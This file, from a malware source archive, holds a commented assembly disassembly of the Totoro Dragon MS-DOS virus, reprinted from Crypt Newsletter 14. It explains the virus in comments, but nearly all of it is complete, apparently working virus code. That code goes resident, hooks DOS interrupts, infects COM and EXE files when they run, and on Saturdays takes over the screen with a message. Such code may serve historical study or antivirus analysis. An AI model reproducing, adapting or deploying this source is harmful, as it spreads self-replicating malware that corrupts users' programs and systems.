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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.totoro.asm

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2021-01-13 00:01:59 +00:00
;TOTORO DRAGON disassembly. Included, for your pleasure, in Crypt
;Newsletter 14. Profuse thanks to Stormbringer, wherever he is.
;***************************************************************************
;* The Totoro Dragon Virus from Taiwan *
;***************************************************************************
;* This virus is a fairly simple resident .EXE/.COM infector. It goes *
;*resident by re-executing the infected file and using Int 21, function 31.*
;*When it infects a .COM, it puts itself at the beginning of the file and *
;*starts the host at an offset of 600h (700h in memory), giving the virus *
;*an effective length of 1536 bytes, plus an extra 4 bytes for its marker *
;*at the end ("YTIT"). It infects .EXE files using the "standard" method. *
;*While it does save file attributes, the time and date change when a file *
;*is infected. The virus activates on Saturdays. When active, it installs*
;*an Int 08 (Timer click) handler that counts to 0CCCh, then shoves the *
;*text off the screen and prints the following in the upper left-hand *
;*corner: *
;* *
;* <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ *
;* <09> Totoro Dragon <20> *
;* <09>Hello! I am TOTORO CAT<41> *
;* <09> Written by Y.T.J.C.T <20> *
;* <09> in Ping Tung. TAIWAN <20> *
;* <09> Don't Worry,be Happy <20> *
;* <09><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ *
;* *
;*It then restarts the counter and does it again. Other that this effect, *
;*the virus seems relatively harmless. *
;* *
;* *
;* Disassembly by Stormbringer *
;***************************************************************************
.model tiny
.radix 16
.code
org 100h
start:
jmp short COM_Entry_Point
nop
;***************************************************************************
;* Data Tables *
;***************************************************************************
File_Size_Off dw 5
File_Size_Seg dw 0
TSR_DAT dw 4262h
DS_Save dw 0F21h
ES_Save dw 0F21h
File_Attribs dw 20h
IP_Save dw 0
CS_Save dw 0F99
SP_Save dw 0
SS_Save dw 0
File_Type db 'C'
Wasted_Space db 0, 0, 0 ;?
;********************************************
; EXE_Header ;
;********************************************
EXE_Sig db 'MZ'
Last_Page_Len dw 14h
EXE_Size dw 5
Rel_Tbl_Items dw 0
Header_Size dw 20h
Minalloc dw 0
Maxalloc dw 0ffff
Init_SS dw 1
Init_SP dw 700h
Checksum dw 0
Init_IP dw 91h
Init_CS dw 1
First_Rel dw 001Eh
Overlay_Num dw 0
;********************************************
CS_Store dw 0
Command db 'COMMAND.COM', 0
db 00h, 80h, 00h
ES_Store_1 dw 0F21h
dw 5Ch
ES_Store_2 dw 0F21h
dw 6Ch
ES_Store_3 dw 0F21h
File_Handle dw 5
Buffer_For_Checks db 0
db 4Ch,0CDh, 21h
File_Name_Off dw 469h
File_Name_Seg dw 0DF5h
db 0
Mem_Seg dw 0F93h
IP_24 dw 156h
CS_24 dw 0DF5h
;************************************************************************
;* Virus Entry Point #1 (COM) *
;************************************************************************
COM_Entry_Point:
mov ax,0F1F1h ;Is the virus in memory?
int 21h
mov cs:CS_Store,0
mov cs:[ES_Save],es
cmp ax,0F1F1h ;AX preserved?
je Already_Installed ;Same? go Already_Installed
jmp Install_Virus ;Not In Mem? go Install_Virus
Already_Installed: ;Restore control to host file (COM)
mov ax,cs
mov es,ax ;ES = DS = CS
mov ds,ax
mov ah,0CBh ;Restore Control
mov si,700h ;Offset of host in file
mov di,100h ;Original offset of host
mov cx,cs:[File_Size_Off] ;Size of host file
int 21h ;Call internal routine to restore control
;to host .COM file.
;************************************************************************
;* Virus Entry Point #2 (EXE) *
;************************************************************************
EXE_Entry_Point:
mov ax,cs
sub ax,10h
push ax
mov ax,offset After_Jump
push ax
retf ;Jump to After_Jump with
;original .COM offsets.
After_Jump:
mov cs:[ES_Save],es
mov cs:[DS_Save],ds
mov ax,0F1F1h
int 21h
cmp ax,0F1F1h ;Check if installed.
jne Get_New_Seg ;Nope, Install....
cli
mov ax,cs:[SS_Save] ;Yes, restore host regs
add ax,10h
mov bx,es
add ax,bx
mov ss,ax
mov sp,cs:[SP_Save]
sti
mov ax,cs:[CS_Store]
mov bx,es
add ax,bx
add ax,10h
mov word ptr cs:[IP_Save+2],ax
jmp dword ptr cs:[IP_Save] ;Restore Control to
;.EXE host.
Get_New_Seg:
push es ;For later RETF
xor ax,ax
mov ds,ax ;DS = 0
;****************************************************************************
;*NOTE: From 0:200 to 0:400 there is some "empty" space, as it is the upper *
;* (unused) part of the interrupt tables. This virus uses the top three*
;* bytes, i.e. the INT 99 entry, to run a repnz movsb command followed *
;* by a retf. This is to copy the virus to a new segment in memory and*
;* jump to it. *
;****************************************************************************
mov word ptr ds:[3fdh],0A4F3h ;repnz movsb
mov byte ptr ds:[3ffh],0CBh ;retf
push cs
pop ds
mov si,100h
mov di,si ;Copy virus to new segment
mov cx,600h ;and "RETF" to
mov ax,offset Install_Virus ;Install_Virus in new copy
push ax
db 0EAh,0FDh, 03h, 00h, 00h ;Jump far 0:3FDh
Install_Virus:
cli ;Disable interrupts
push cs
pop ds
mov ah,2Ah
int 21h ;Get Day/Date
cmp al,6 ;Is it Saturday?
jne Set_Int_21 ;Nope, don't activate, just
mov ax,3508h ;infect files.
int 21h ;Get Int 08 address
mov word ptr cs:[IP_08],bx
mov word ptr cs:[CS_08],es
mov dx,offset Int_08
mov ax,2508h
int 21h ;Set Int 08
Set_Int_21:
mov ax,3521h
int 21h ;Get Int 21 address
mov word ptr cs:[IP_21],bx
mov word ptr cs:[CS_21],es
mov dx,offset Int_21
mov ax,2521h
int 21h ;Set Int_21
mov es,cs:[ES_Save]
cmp cs:[TSR_DAT],426Bh ;Second Execute?
je Go_TSR ;Yep, go TSR
mov bx,1000h ;Nope, set up for second exec.
mov ah,4Ah
int 21h ;Change Mem Allocation
;to 64k.
mov es,es:[2ch] ;Environment string
xor di,di
xor al,al
mov cx,7FFFh
Find_Filename: ;Search Environment for
repne scasb ;filename of host.
cmp es:[di],al
loopnz Find_Filename
add di,3 ;Skip drive designator
;i.e. "C:\" in
;"C:\Infected.EXE"
mov dx,di
push es
pop ds ;DS:DX = host filename
push cs
pop es
cli ;Clears Ints (so none can
;disrupt second execution
;of virus)
mov ax,cs:[ES_Save]
mov cs:[ES_Store_1],ax
mov cs:[ES_Store_2],ax
mov cs:[ES_Store_3],ax
mov bx,144h
mov ax,4B00h ;Re-Execute the file
pushf
call dword ptr cs:[IP_21] ;Call Int 21 to Execute file.
Go_TSR:
mov ah,31h
mov dx,71h
int 21h ;Terminate and Stay Resident.
Int_21:
pushf ;Push flags
cmp ax,0F1F1h ;Is it an Install Check?
jne Is_It_Execute ;No, Go Is_It_Execute
mov ax,0F1F1h ;Yes, save value (unneccesary)
popf
iret ;Return to virus in program.
Is_It_Execute:
cmp ax,4B00h ;Is it a Load & Execute call?
jne Restore_Host ;Nope, continue on.
call execute ;Infect the file if possible.
jmp short Go_Int_21 ;And go to old Int 21 handler.
nop
Restore_Host:
cmp ah,0CBh ;Is it a request to restore
jne Go_Int_21 ;control to host?
pop ax ax ;Pop flags + Old IP (not kept)
mov word ptr cs:[IP_Save],100h
pop ax
mov word ptr cs:[IP_Save+2],ax
rep movsb ;Restore Host to orig. Pos.
popf ;Completely remove old Int call
mov ax,0
jmp dword ptr cs:[IP_Save] ;Jump to Host:100
Go_Int_21:
popf ; Pop flags
db 0ea ;Jump to Int 21
IP_21 dw 040ebh
CS_21 dw 0011
execute:
push es ds ax bx cx dx si di
mov cs:[File_Name_Seg],ds
mov cs:[File_Name_Off],dx
mov ax,3524h ;Get Int 24 Address
int 21h ;(Critical Error)
mov cs:[IP_24],bx
mov cs:[CS_24],es
push cs
pop ds
mov dx,offset Int_24
mov ax,2524h
int 21h ;Set Int 24
mov ds,cs:[File_Name_Seg]
mov si,cs:[File_Name_Off]
Name_Check:
lodsb
or al,al ;Is the first byte a zero?
jnz Name_Check ;Nope, find end of string
mov al,[si-2]
and al,0DFh
cmp al,4Dh ;'M'
je Is_Com ;COM file, jump Is_Com
cmp al,45h ;'E'
je Is_EXE ;EXE file, jump Is_EXE
jmp Clean_Up ;Neither? Go Clean_Up
Is_Com:
mov cs:[File_Type],'C' ;Save File type for later.
jmp short Check_If_Command
nop
Is_EXE:
mov cs:[File_Type],'E'
Check_If_Command:
sub si,0Ch
mov di,offset Command
push cs
pop es
mov cx,0Bh ;Is it Command.COM?
repe cmpsb
jnz Start_Infect ;No, Jump Start_Infect
Got_An_Error:
jmp Clean_Up ;Is Command, get otta here.
Start_Infect:
mov ds,cs:[File_Name_Seg]
mov dx,cs:[File_Name_Off]
mov ax,4300h
int 21h ;Get Attribs
jc Got_An_Error
mov cs:[File_Attribs],cx
xor cx,cx
mov ax,4301h
int 21h ;Zero Attrib's for read/write
jc Got_An_Error
mov ax,3D02h
int 21h ;Open Read/Write
jnc Check_Infect ;Everything Fine? go Check_Infect
jmp Reset_Attribs ;Couldn't Open, go Reset_Attribs
Check_Infect:
mov bx,ax
mov cs:[File_Handle],ax
mov cx,0FFFFh
mov dx,0FFFCh
mov ax,4202h
int 21h ;Move to 4 bytes from end
add ax,4
mov cs:[File_Size_Off],ax
push cs
pop ds
mov dx,offset Buffer_For_Checks
mov cx,4
mov ah,3Fh
int 21h
;Read in Last 4 bytes of file
push cs
pop es
mov cx,4
mov si,offset Marker ;are last 4 bytes 'YTIT'?
mov di,offset Buffer_For_Checks ;
repe cmpsb
jnz Check_Which_Type ;Not infected? Go Check_Which_Type
jmp Close_File ;Infected? Go Close_File
Check_Which_Type:
cmp cs:[File_Type],'C' ;Is it a .COM?
je COM_Infect ;Yes, go COM_Infect
jmp EXE_Infect ;No, go EXE_Infect
COM_Infect:
mov ah,48h
mov bx,1000h
int 21h ;Allocate 64k of memory
jnc Load_In_File ;No Prob? Go Load_In_File
jmp Close_File ;Otherwise, go Close_File
Load_In_File:
mov cs:[Mem_Seg],ax
mov bx,cs:[File_Handle]
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h ;Go to beginning of file
push cs
pop ds
mov es,cs:[Mem_Seg]
mov si,100
mov di,si
mov cx,700h
rep movsb
mov ds,cs:Mem_Seg
mov cx,cs:[File_Size_Off]
mov dx,700h
mov ah,3Fh ;Load entire file to directly
int 21h ;after virus.
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h ;Move to the beginning of file
mov dx,100h
mov cx,cs:[File_Size_Off]
add cx,600h
mov ah,40h
int 21h ;Write entire file back to disk
jc Go_Release_Mem
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h ;Move to end of file
mov cs:[File_Size_Seg],0 ;COM < 64k
add ax,4 ;Add 4 for marker bytes
mov cs:[File_Size_Off],ax ;Save file size
push cs
pop ds
mov dx,offset Marker
mov cx,4
mov ah,40h
int 21h ;Write in marker 'YTIT'
Go_Release_Mem:
jmp Release_Mem
jmp Close_File
EXE_Infect:
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h ;Move to beginning of file
push cs
pop ds
db 8dh,16h,1bh,01 ;lea dx,cs:[11Bh]
mov cx,1Ch
mov ah,3Fh
int 21h ;Read in .EXE header
Save_Header_NFO:
cli ;clear ints
mov ax,cs:[Init_CS]
mov cs:[CS_Store],ax ;Save old CS
mov ax,cs:[Init_IP]
mov word ptr cs:[IP_Save],ax ;Save old IP
mov ax,cs:[Init_SS]
mov cs:[SS_Save],ax ;Save old SS
mov ax,cs:[Init_SP]
mov cs:[SP_Save],ax ;Save old SP
sti ;restore ints
xor ax,ax
cmp cs:[Last_Page_Len],0
je Calculate_Exe_Header
dec cs:[EXE_Size]
Calculate_Exe_Header: ;Long, drawn out way
;to calculate new EXE header
mov cx,200h
xor dx,dx
mov ax,cs:[EXE_Size]
mul cx
add ax,cs:[Last_Page_Len]
add ax,0Fh
adc dx,0
and ax,0FFF0h
mov cs:[File_Size_Off],ax
mov cs:[File_Size_Seg],dx
push dx ax dx ax
xor dx,dx
mov ax,cs:[Header_Size]
mov cx,10h
mul cx
pop bx cx
sub bx,ax
sbb cx,dx
xchg ax,bx
xchg dx,cx
mov cx,10h
div cx
mov cs:[Init_CS],ax
mov cs:[Init_SS],ax
mov cs:[Init_SP],700h
mov cs:[Init_IP],offset EXE_Entry_Point-100
pop ax dx
push dx ax
add ax,604h
adc dx,0
mov cx,200h
div cx
mov cs:Last_Page_Len,dx
or dx,dx
jz Rewrite_Header
inc ax
Rewrite_Header:
mov cs:[EXE_Size],ax
xor cx,cx
xor dx,dx
mov bx,cs:[File_Handle]
mov ax,4200h
int 21h ;Move back to beginning of file
push cs
pop ds
mov dx,offset EXE_Sig
mov cx,1Ch
mov ah,40h
int 21h ;Write EXE header back to file
pop dx
pop cx
jc Close_File
mov ax,4200h
int 21h ;Go to end of host.
push cs
pop ds
mov dx,100
mov cx,600h
mov ah,40h
int 21h ;Write Virus
jc Close_File
xor cx,cx
xor dx,dx
mov ax,4202h
int 21h ;Go to end of file.
mov dx,offset Marker
mov cx,4
mov ah,40h
int 21h ;Write marker byte.
jmp short Close_File
nop
Release_Mem:
mov es,cs:Mem_Seg
mov ah,49h
int 21h ;Release Memory
Close_File:
mov ah,3Eh
mov bx,cs:[File_Handle]
int 21h ;Close file.
Reset_Attribs:
mov ds,cs:File_Name_Seg
mov dx,cs:File_Name_Off
mov cx,cs:File_Attribs
mov ax,4301h
int 21h ;Reset File attributes
Clean_Up:
mov ds,cs:[CS_24] ;Restore Critical Error
mov dx,cs:[IP_24]
mov ax,2524h
int 21h
pop di si dx cx bx ax ds es
retn
Int_24: ;Critical Error Handler
xor ax,ax
iret
Int_08: ;Timer Click Handler
pushf
inc cs:[Activation_Counter]
cmp cs:[Activation_Counter],0CCCh
jne Go_Int_08
mov cs:[Activation_Counter],0 ;Reset Counter
push ds es si di ax bx cx dx
call Get_Mode
call Scroll_Area
call Print_Message
pop dx cx bx ax di si es ds
Go_Int_08:
popf ; Pop flags
db 0EA
IP_08 dw 003Ch
CS_08 dw 0D80h
Screen_Width dw 0
Activation_Counter dw 1E0h
Get_Mode:
mov ah,0Fh
int 10h ;Get Video Mode
mov bx,0B000h ;Mode 7 Text Video Memory
mov es,bx
cmp al,7
je In_Mode_7
mov bx,0B800h ;Regular Text Video Memory
In_Mode_7:
mov es,bx
mov ds,bx
mov cs:[Screen_Width],4Fh
Setup_Screen:
mov cx,19h
mov bx,0
Clear_Screen:
push cx
call Scroll_Line
add bx,0A0h
pop cx
loop Clear_Screen
dec cs:[Screen_Width]
jnz Setup_Screen
retn
Scroll_Line: ;This subroutine clears the
mov di,bx ;screen by scrolling the text
mov si,bx ;straight off of the left
add si,2 ;side.
mov cx,cs:[Screen_Width]
Scroll_Sideways:
lodsb
stosb
inc si
inc di
loop Scroll_Sideways
retn
Print_Message:
xor bx,bx
push cs
pop ds
db 8dh,36h,18h,06 ;lea si,cs:[Totoro_Design]
mov ah,0Eh
Print_Loop:
lodsb
int 10h ;Write Char in Teletype mode
cmp byte ptr [si],24h ;is it a '$'?
jne Print_Loop ;Nope, continue writing
retn
Scroll_Area:
xor bx,bx ;Video Page 0
mov ah,3
int 10h ;Get Cursor info
push dx ;Push Cursor Location (DX)
mov ah,6
mov bh,7
mov al,18h
xor cx,cx
mov dh,18h
mov dl,4Fh
int 10h ;Scroll up (clear screen)
mov ah,2
pop dx
sub dh,2
xor bx,bx
int 10h ;Reset Cursor
xor bx,bx
xor dx,dx
mov ah,2
int 10h ;Set Cursor for printing.
retn
Totoro_Design:
db ' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ',0Dh, 0Ah
db ' <20> Totoro Dragon <20>',0Dh, 0Ah
db ' <20>Hello! I am TOTORO CAT<41>',0Dh, 0Ah
db ' <20> Written by Y.T.J.C.T <20>',0Dh, 0Ah
db ' <20> in Ping Tung. TAIWAN <20>',0Dh, 0Ah
db ' <20> Don''t Worry,be Happy <20>',0Dh, 0Ah
db ' <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ$'
Marker db 'YTIT'
db 28 dup (0)
;***************************************************************************
;*End of virus. The bytes below this line are the infected program and the *
;* viruses' identification bytes. *
;***************************************************************************
Host_Program:
mov ax,4c00
int 21
Infected_Mark db 'YTIT'
end start
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